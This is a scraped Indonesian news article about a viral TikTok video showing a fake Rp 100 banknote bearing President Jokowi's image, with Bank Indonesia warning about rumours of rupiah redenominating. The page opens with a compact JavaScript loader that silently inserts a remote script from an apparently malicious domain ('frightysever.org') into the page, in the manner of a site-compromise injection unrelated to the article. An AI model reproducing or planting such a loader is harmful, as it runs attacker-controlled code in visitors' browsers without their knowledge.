(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Viral

Viral Video Uang Rp 100 Bergambar Jokowi, BI : Hati-hati Urusan Ini


KANALKALIMANTAN.COM – Sebuah video viral di media sosial karena menampilkan uang pecahan Rp 100 bergambar Presiden Jokowi.

Dalam unggahan video itu disebutkan bahwa pecahan uang kertas Rp 100 tersebut berlatarbelakang Istana Negara dan Presiden Jokowi sebagai modelnya.

Disebutkan pula bahwa uang tersebut adalah uang redenominasi atau penyederhanaan nilai mata uang menjadi lebih kecil tanpa mengubah nilai tukarnya

Dalam hal ini, Bank Indonesia (BI) mengingatkan kepada semua pihak agar berhati-hati terkait dengan isu redenominasi nilai tukar rupiah. Menurut BI, rupiah adalah lambang kedaulatan NKRI.

 

Adapun, keberadaan nilai tukar rupiah diatur dalam Undang-undang Nomor 7 Tahun 2011 tentang Mata Uang. Dalam aturan, akan ada sanksi jika mengubah desain nilai tukar rupiah.

“Kami ingin ajak masyarakat untuk berhati-hati urusan ini. Bagaimanapun Rupiah adalah lambang kedaulatan NKRI,” ujar Kepala Departemen Komunikasi BI Erwin Haryono kepada Suara.com, Selasa (9/2/2021).

Setelah dimonitor, tutur Erwin, pembuat video hanya iseng semata agar videonya bisa viral. Ia melanjutkan, pembuat video juga telah meminta maaf terkait dengan video viral tersebut.

Kendati begitu, Erwin tak merinci langkah selanjutnya terkait kasus tersebut. Namun, ia meminta kepada pelaku agar menghapus video yang tengah viral tersebut.

“Yang pasti uang bergambar Pak Presiden yang lagi viral itu bukan dari BI tapi kami monitor. Kelihatannya ini anak-anak iseng di Tiktok terus masuk Instagram dan juga FB. Kami dengar yang membuat sudah minta maaf. Lebih bagus lagi kalau dihapus,” ucap dia.

Diketahui, Video tentang uang redenominasi tersebut dibagikan oleh kreator TikTok bernama @aku.ijot dan telah ditonton lebih dari 8,4 juta kali.

Unggahan itu berisi narasi “Katanya Indonesia mau Redenominasi. Jadi mata uangnya mau di kecilin nominalnya, kaya Dollar gitu. Rp 1000 = Rp 1, Rp 50.000 = Rp 50, Rp 100.000 = Rp 100. Gimana? pada setuju?,” tulis keterangan tersebut. (suara.com)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.